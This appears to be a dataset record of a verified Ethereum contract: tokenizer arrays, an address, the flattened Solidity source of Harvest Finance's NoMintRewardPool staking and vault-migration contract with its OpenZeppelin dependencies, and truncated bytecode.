fc3e95c954fde464736f6c63430006050033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
22025,
2683,
2549,
2050,
2629,
20952,
29292,
27421,
23777,
2575,
9071,
2094,
2487,
9468,
2692,
2278,
2683,
20958,
16147,
2683,
2581,
2620,
2497,
12521,
2050,
1013,
1013,
9385,
1006,
1039,
1007,
12609,
27838,
14772,
4297,
1012,
1026,
16770,
1024,
1013,
1013,
27838,
14772,
1012,
22834,
1028,
1013,
1013,
1013,
1013,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
1013,
1013,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
2236,
2270,
6105,
2004,
2405,
2011,
1013,
1013,
1996,
2489,
4007,
3192,
1010,
2593,
2544,
1017,
1997,
1996,
6105,
1010,
2030,
1013,
1013,
1006,
2012,
2115,
5724,
1007,
2151,
2101,
2544,
1012,
1013,
1013,
1013,
1013,
2023,
2565,
2003,
5500,
1999,
1996,
3246,
2008,
2009,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,429 | 0x9523FdC055F503F73FF40D7F66850F409D80EF34 | // File: contracts/Storage.sol
pragma solidity 0.5.16;
contract Storage {
address public governance;
address public controller;
constructor() public {
governance = msg.sender;
}
modifier onlyGovernance() {
require(isGovernance(msg.sender), "Not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "new governance shouldn't be empty");
governance = _governance;
}
function setController(address _controller) public onlyGovernance {
require(_controller != address(0), "new controller shouldn't be empty");
controller = _controller;
}
function isGovernance(address account) public view returns (bool) {
return account == governance;
}
function isController(address account) public view returns (bool) {
return account == controller;
}
}
// File: contracts/Governable.sol
pragma solidity 0.5.16;
contract Governable {
Storage public store;
constructor(address _store) public {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
modifier onlyGovernance() {
require(store.isGovernance(msg.sender), "Not governance");
_;
}
function setStorage(address _store) public onlyGovernance {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
function governance() public view returns (address) {
return store.governance();
}
}
// File: contracts/Controllable.sol
pragma solidity 0.5.16;
contract Controllable is Governable {
constructor(address _storage) Governable(_storage) public {
}
modifier onlyController() {
require(store.isController(msg.sender), "Not a controller");
_;
}
modifier onlyControllerOrGovernance(){
require((store.isController(msg.sender) || store.isGovernance(msg.sender)),
"The caller must be controller or governance");
_;
}
function controller() public view returns (address) {
return store.controller();
}
}
// File: contracts/hardworkInterface/IController.sol
pragma solidity 0.5.16;
interface IController {
// [Grey list]
// An EOA can safely interact with the system no matter what.
// If you're using Metamask, you're using an EOA.
// Only smart contracts may be affected by this grey list.
//
// This contract will not be able to ban any EOA from the system
// even if an EOA is being added to the greyList, he/she will still be able
// to interact with the whole system as if nothing happened.
// Only smart contracts will be affected by being added to the greyList.
// This grey list is only used in Vault.sol, see the code there for reference
function greyList(address _target) external view returns(bool);
function addVaultAndStrategy(address _vault, address _strategy) external;
function doHardWork(address _vault) external;
function hasVault(address _vault) external returns(bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(address _strategy, address _token, uint256 amount) external;
function notifyFee(address _underlying, uint256 fee) external;
function profitSharingNumerator() external view returns (uint256);
function profitSharingDenominator() external view returns (uint256);
}
// File: contracts/RewardPool.sol
// https://etherscan.io/address/0xDCB6A51eA3CA5d3Fd898Fd6564757c7aAeC3ca92#code
/**
*Submitted for verification at Etherscan.io on 2020-04-22
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: CurveRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
constructor(address _rewardDistribution) public {
rewardDistribution = _rewardDistribution;
}
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
/*
* Changes made to the SynthetixReward contract
*
* uni to lpToken, and make it as a parameter of the constructor instead of hardcoded.
*
*
*/
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public lpToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
lpToken.safeTransfer(msg.sender, amount);
}
// Harvest migrate
// only called by the migrateStakeFor in the MigrationHelperRewardPool
function migrateStakeFor(address target, uint256 amountNewShare) internal {
_totalSupply = _totalSupply.add(amountNewShare);
_balances[target] = _balances[target].add(amountNewShare);
}
}
/*
* [Harvest]
* This pool doesn't mint.
* the rewards should be first transferred to this pool, then get "notified"
* by calling `notifyRewardAmount`
*/
contract NoMintRewardPool is LPTokenWrapper, IRewardDistributionRecipient, Controllable {
using Address for address;
IERC20 public rewardToken;
uint256 public duration; // making it not a constant is less gas efficient, but portable
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping (address => bool) smartContractStakers;
// Harvest Migration
// lpToken is the target vault
address public sourceVault;
address public migrationStrategy;
bool public canMigrate;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardDenied(address indexed user, uint256 reward);
event SmartContractRecorded(address indexed smartContractAddress, address indexed smartContractInitiator);
// Harvest Migration
event Migrated(address indexed account, uint256 legacyShare, uint256 newShare);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier onlyMigrationStrategy() {
require(msg.sender == migrationStrategy, "sender needs to be migration strategy");
_;
}
// [Hardwork] setting the reward, lpToken, duration, and rewardDistribution for each pool
constructor(address _rewardToken,
address _lpToken,
uint256 _duration,
address _rewardDistribution,
address _storage,
address _sourceVault,
address _migrationStrategy) public
IRewardDistributionRecipient(_rewardDistribution)
Controllable(_storage) // only used for referencing the grey list
{
rewardToken = IERC20(_rewardToken);
lpToken = IERC20(_lpToken);
duration = _duration;
sourceVault = _sourceVault;
migrationStrategy = _migrationStrategy;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
recordSmartContract();
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
/// A push mechanism for accounts that have not claimed their rewards for a long time.
/// The implementation is semantically analogous to getReward(), but uses a push pattern
/// instead of pull pattern.
function pushReward(address recipient) public updateReward(recipient) onlyGovernance {
uint256 reward = earned(recipient);
if (reward > 0) {
rewards[recipient] = 0;
// If it is a normal user and not smart contract,
// then the requirement will pass
// If it is a smart contract, then
// make sure that it is not on our greyList.
if (!recipient.isContract() || !IController(controller()).greyList(recipient)) {
rewardToken.safeTransfer(recipient, reward);
emit RewardPaid(recipient, reward);
} else {
emit RewardDenied(recipient, reward);
}
}
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
// If it is a normal user and not smart contract,
// then the requirement will pass
// If it is a smart contract, then
// make sure that it is not on our greyList.
if (tx.origin == msg.sender || !IController(controller()).greyList(msg.sender)) {
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
} else {
emit RewardDenied(msg.sender, reward);
}
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
// overflow fix according to https://sips.synthetix.io/sips/sip-77
require(reward < uint(-1) / 1e18, "the notified reward cannot invoke multiplication overflow");
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(duration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(duration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(duration);
emit RewardAdded(reward);
}
// Harvest Smart Contract recording
function recordSmartContract() internal {
if( tx.origin != msg.sender ) {
smartContractStakers[msg.sender] = true;
emit SmartContractRecorded(msg.sender, tx.origin);
}
}
// Harvest Migrate
// obtain the legacy vault sahres from the migration strategy
function pullFromStrategy() public onlyMigrationStrategy {
canMigrate = true;
lpToken.safeTransferFrom(msg.sender, address(this),lpToken.balanceOf(msg.sender));
}
// called only by migrate()
function migrateStakeFor(address target, uint256 amountNewShare) internal updateReward(target) {
super.migrateStakeFor(target, amountNewShare);
emit Staked(target, amountNewShare);
}
// The MigrationHelperReward Pool already holds the shares of the targetVault
// the users are coming with the old share to exchange for the new one
// We want to incentivize the user to migrate, thus we will not stake for them before they migrate.
// We also want to save user some hassle, thus when user migrate, we will automatically stake for them
function migrate() external {
require(canMigrate, "Funds not yet migrated");
recordSmartContract();
// casting here for readability
address targetVault = address(lpToken);
// total legacy share - migrated legacy shares
// What happens when people wrongfully send their shares directly to this pool
// without using the migrate() function? The people that are properly migrating would benefit from this.
uint256 remainingLegacyShares = (IERC20(sourceVault).totalSupply()).sub(IERC20(sourceVault).balanceOf(address(this)));
// How many new shares does this contract hold?
// We cannot get this just by IERC20(targetVault).balanceOf(address(this))
// because this contract itself is a reward pool where they stake those vault shares
// luckily, reward pool share and the underlying lp token works in 1:1
// _totalSupply is the amount that is staked
uint256 unmigratedNewShares = IERC20(targetVault).balanceOf(address(this)).sub(totalSupply());
uint256 userLegacyShares = IERC20(sourceVault).balanceOf(msg.sender);
require(userLegacyShares <= remainingLegacyShares, "impossible for user legacy share to have more than the remaining legacy share");
// Because of the assertion above,
// we know for sure that userEquivalentNewShares must be less than unmigratedNewShares (the idle tokens sitting in this contract)
uint256 userEquivalentNewShares = userLegacyShares.mul(unmigratedNewShares).div(remainingLegacyShares);
// Take the old shares from user
IERC20(sourceVault).safeTransferFrom(msg.sender, address(this), userLegacyShares);
// User has now migrated, let's stake the idle tokens into the pool for the user
migrateStakeFor(msg.sender, userEquivalentNewShares);
emit Migrated(msg.sender, userLegacyShares, userEquivalentNewShares);
}
} | 0x608060405234801561001057600080fd5b50600436106102055760003560e01c80638f32d59b1161011a578063ce970630116100ad578063ebe2b12b1161007c578063ebe2b12b14610429578063f2fde38b14610431578063f77c479114610457578063f7c618c11461045f578063fa9389a21461046757610205565b8063ce97063014610409578063df136d6514610411578063e5e3a9b014610419578063e9fad8ee1461042157610205565b8063a694fc3a116100e9578063a694fc3a146103d4578063c8f33c91146103f1578063c9a8b55a146103f9578063cd3daf9d1461040157610205565b80638f32d59b146103965780638fd3ab801461039e5780639137c1a7146103a6578063975057e7146103cc57610205565b80633d18b9121161019d578063715018a61161016c578063715018a6146103505780637b0a47ee1461035857806380faa57d146103605780638b876347146103685780638da5cb5b1461038e57610205565b80633d18b912146102f65780635aa6e675146102fe5780635fcbd2851461032257806370a082311461032a57610205565b806318160ddd116101d957806318160ddd1461029857806319ed21bd146102a05780632e1a7d4d146102bc5780633c6b16ab146102d957610205565b80628cc2621461020a5780630700037d146102425780630d68b761146102685780630fb5a6b414610290575b600080fd5b6102306004803603602081101561022057600080fd5b50356001600160a01b031661048d565b60408051918252519081900360200190f35b6102306004803603602081101561025857600080fd5b50356001600160a01b0316610513565b61028e6004803603602081101561027e57600080fd5b50356001600160a01b0316610525565b005b6102306105a0565b6102306105a6565b6102a86105ad565b604080519115158252519081900360200190f35b61028e600480360360208110156102d257600080fd5b50356105bd565b61028e600480360360208110156102ef57600080fd5b50356106a4565b61028e610877565b610306610a20565b604080516001600160a01b039092168252519081900360200190f35b610306610a96565b6102306004803603602081101561034057600080fd5b50356001600160a01b0316610aa5565b61028e610ac0565b610230610b63565b610230610b69565b6102306004803603602081101561037e57600080fd5b50356001600160a01b0316610b7c565b610306610b8e565b6102a8610b9d565b61028e610bc3565b61028e600480360360208110156103bc57600080fd5b50356001600160a01b0316610eb5565b610306610feb565b61028e600480360360208110156103ea57600080fd5b5035610ffa565b6102306110e6565b61028e6110ec565b6102306111e3565b610306611237565b610230611246565b61030661124c565b61028e61125b565b610230611274565b61028e6004803603602081101561044757600080fd5b50356001600160a01b031661127a565b6103066112df565b610306611324565b61028e6004803603602081101561047d57600080fd5b50356001600160a01b0316611333565b6001600160a01b0381166000908152600d6020908152604080832054600c90925282205461050d919061050190670de0b6b3a7640000906104f5906104e0906104d46111e3565b9063ffffffff6115b916565b6104e988610aa5565b9063ffffffff61160216565b9063ffffffff61165b16565b9063ffffffff61169d16565b92915050565b600d6020526000908152604090205481565b61052d610b9d565b61057e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b6001545b90565b601054600160a01b900460ff1681565b336105c66111e3565b600b556105d1610b69565b600a556001600160a01b03811615610618576105ec8161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60008211610661576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015